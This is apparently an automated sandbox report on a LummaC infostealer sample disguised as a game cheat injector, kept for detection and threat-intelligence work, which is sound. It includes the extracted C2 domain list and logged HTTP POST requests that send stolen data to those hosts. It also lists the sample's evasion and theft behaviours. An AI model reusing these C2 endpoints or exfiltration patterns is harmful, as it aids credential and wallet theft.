Edit tour

Windows Analysis Report
CheatInjector.exe1.exe

Overview

General Information

Sample name:	CheatInjector.exe1.exe
Analysis ID:	1637279
MD5:	dd71e60b511b74a3e0e41023a39caff5
SHA1:	b1aafed41b0c808950659349dd6a4d328dcd79dd
SHA256:	15a205b9631aba7dd2396ad9fa7ee0ee06c3c8f76e256e0fefb97bbd92d8ffd1
Tags:	exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

CheatInjector.exe1.exe (PID: 8744 cmdline: "C:\Users\user\Desktop\CheatInjector.exe1.exe" MD5: DD71E60B511B74A3E0E41023A39CAFF5)

conhost.exe (PID: 8752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CheatInjector.exe1.exe (PID: 8808 cmdline: "C:\Users\user\Desktop\CheatInjector.exe1.exe" MD5: DD71E60B511B74A3E0E41023A39CAFF5)

WerFault.exe (PID: 8896 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8744 -s 136 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": ["menuedgarli.shop/AUIqn", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.2613622402.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000002.00000003.1513864716.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1513114286.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1544263244.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1544663308.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1544410228.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1513425489.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1513586452.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
Process Memory Space: CheatInjector.exe1.exe PID: 8808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: CheatInjector.exe1.exe PID: 8808	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 6 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.CheatInjector.exe1.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
2.2.CheatInjector.exe1.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-13T13:39:41.162344+0100	2028371	3	Unknown Traffic	192.168.2.5	49710	149.154.167.99	443	TCP
2025-03-13T13:39:43.420304+0100	2028371	3	Unknown Traffic	192.168.2.5	49712	104.21.32.1	443	TCP
2025-03-13T13:39:46.163547+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.32.1	443	TCP
2025-03-13T13:39:49.842221+0100	2028371	3	Unknown Traffic	192.168.2.5	49715	104.21.32.1	443	TCP
2025-03-13T13:39:53.140541+0100	2028371	3	Unknown Traffic	192.168.2.5	49716	104.21.32.1	443	TCP
2025-03-13T13:39:56.402571+0100	2028371	3	Unknown Traffic	192.168.2.5	49718	104.21.32.1	443	TCP
2025-03-13T13:39:59.566219+0100	2028371	3	Unknown Traffic	192.168.2.5	49720	104.21.32.1	443	TCP
2025-03-13T13:40:03.389581+0100	2028371	3	Unknown Traffic	192.168.2.5	49723	104.21.32.1	443	TCP
2025-03-13T13:40:04.755794+0100	2028371	3	Unknown Traffic	192.168.2.5	49724	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: CheatInjector.exe1.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://jowinjoinery.icu/	Avira URL Cloud: Label: malware
Source: menuedgarli.shop/AUIqn	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzStH	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUampress	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzSf	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/p	Avira URL Cloud: Label: malware
Source: https://menuedgarli.shop/AUIqnBHR	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/8	Avira URL Cloud: Label: malware
Source: https://featureccus.shop/bdMAn	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUa	Avira URL Cloud: Label: malware
Source: https://jowinjoinery.icu/bdWUaQ	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzS	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzSR	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/aNzSV	Avira URL Cloud: Label: malware
Source: https://mrodularmall.top/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["menuedgarli.shop/AUIqn", "featureccus.shop/bdMAn", "mrodularmall.top/aNzS", "jowinjoinery.icu/bdWUa", "legenassedk.top/bdpWO", "htardwarehu.icu/Sbdsa", "cjlaspcorne.icu/DbIps", "bugildbett.top/bAuz"], "Build id": "99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e"}

Multi AV Scanner detection for submitted file

Source: CheatInjector.exe1.exe	Virustotal: Detection: 56%			Perma Link
Source: CheatInjector.exe1.exe	ReversingLabs: Detection: 57%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: menuedgarli.shop/AUIqn
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: featureccus.shop/bdMAn
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: mrodularmall.top/aNzS
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: jowinjoinery.icu/bdWUa
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: legenassedk.top/bdpWO
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: htardwarehu.icu/Sbdsa
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: cjlaspcorne.icu/DbIps
Source: 00000000.00000002.1424311609.0000000002789000.00000004.00000020.00020000.00000000.sdmp	String decryptor: bugildbett.top/bAuz

Source: CheatInjector.exe1.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49724 version: TLS 1.2

Source: CheatInjector.exe1.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007BFCDE FindFirstFileExW,		0_2_007BFCDE
Source: C:\Users\user\Desktop\CheatInjector.exe1.exe	Code function: 0_2_007BFD8F FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_007BFD8F

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: menuedgarli.shop/AUIqn
Source: Malware configuration extractor	URLs: featureccus.shop/bdMAn
Source: Malware configuration extractor	URLs: mrodularmall.top/aNzS
Source: Malware configuration extractor	URLs: jowinjoinery.icu/bdWUa
Source: Malware configuration extractor	URLs: legenassedk.top/bdpWO
Source: Malware configuration extractor	URLs: htardwarehu.icu/Sbdsa
Source: Malware configuration extractor	URLs: cjlaspcorne.icu/DbIps
Source: Malware configuration extractor	URLs: bugildbett.top/bAuz

Source: global traffic

HTTP traffic detected: GET /asdawfq HTTP/1.1Connection: Keep-AliveHost: t.me

Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 104.21.32.1 104.21.32.1
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49714 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49710 -> 149.154.167.99:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49712 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49718 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49724 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49716 -> 104.21.32.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49720 -> 104.21.32.1:443

Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=T4kXkKY722BY8I5uaUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 14932Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=jdl4y62qK1TJ9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15061Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0QqQwmHCaVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20535Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WTRwLp2y6iJQEUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2646Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=wzfaNKE2e01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587717Host: mrodularmall.top
Source: global traffic	HTTP traffic detected: POST /bdWUa HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 103Host: jowinjoinery.icu

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /asdawfq HTTP/1.1Connection: Keep-AliveHost: t.me

Source: global traffic	DNS traffic detected: DNS query: t.me
Source: global traffic	DNS traffic detected: DNS query: menuedgarli.shop
Source: global traffic	DNS traffic detected: DNS query: featureccus.shop
Source: global traffic	DNS traffic detected: DNS query: mrodularmall.top
Source: global traffic	DNS traffic detected: DNS query: jowinjoinery.icu

Source: unknown

HTTP traffic detected: POST /aNzS HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 65Host: mrodularmall.top

Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: CheatInjector.exe1.exe, 00000002.00000003.1481690797.00000000037AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org?q=
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv209h
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://featureccus.shop/bdMAn
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: CheatInjector.exe1.exe, 00000002.00000002.2614233553.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2229015326.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/
Source: CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614233553.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2229015326.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614179705.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUa
Source: CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614179705.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUaQ
Source: CheatInjector.exe1.exe, 00000002.00000002.2614288618.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228900501.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jowinjoinery.icu/bdWUampress
Source: CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://menuedgarli.shop/AUIqnBHR
Source: CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/
Source: CheatInjector.exe1.exe, 00000002.00000003.1564436213.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/8
Source: CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1544554955.0000000000E21000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000002.2614179705.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzS
Source: CheatInjector.exe1.exe, 00000002.00000003.1441325413.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzSR
Source: CheatInjector.exe1.exe, 00000002.00000003.1441325413.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzSV
Source: CheatInjector.exe1.exe, 00000002.00000002.2614288618.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228900501.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.2228620716.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzSf
Source: CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1413505562.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/aNzStH
Source: CheatInjector.exe1.exe, 00000002.00000003.1544554955.0000000000E21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mrodularmall.top/p
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: CheatInjector.exe1.exe, 00000002.00000003.1413332602.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387791649.0000000000D7C000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387851158.0000000000DA7000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: CheatInjector.exe1.exe, 00000002.00000002.2613937125.0000000000D48000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387724564.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/asdawfq
Source: CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, CheatInjector.exe1.exe, 00000002.00000003.1387724564.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.org
Source: CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgPersistent-AuthWWW-AuthenticateVarystel_ssid=f7cc2ea85f50737ed6_132178671729
Source: CheatInjector.exe1.exe, 00000002.00000003.1387743522.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web.telegram.orgX-Frame-OptionsALLOW-FROM
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: CheatInjector.exe1.exe, 00000002.00000003.1414977774.00000000036A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: CheatInjector.exe1.exe, 00000002.00000003.1485137796.0000000003ABD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.5:49712 version: TLS 1.2
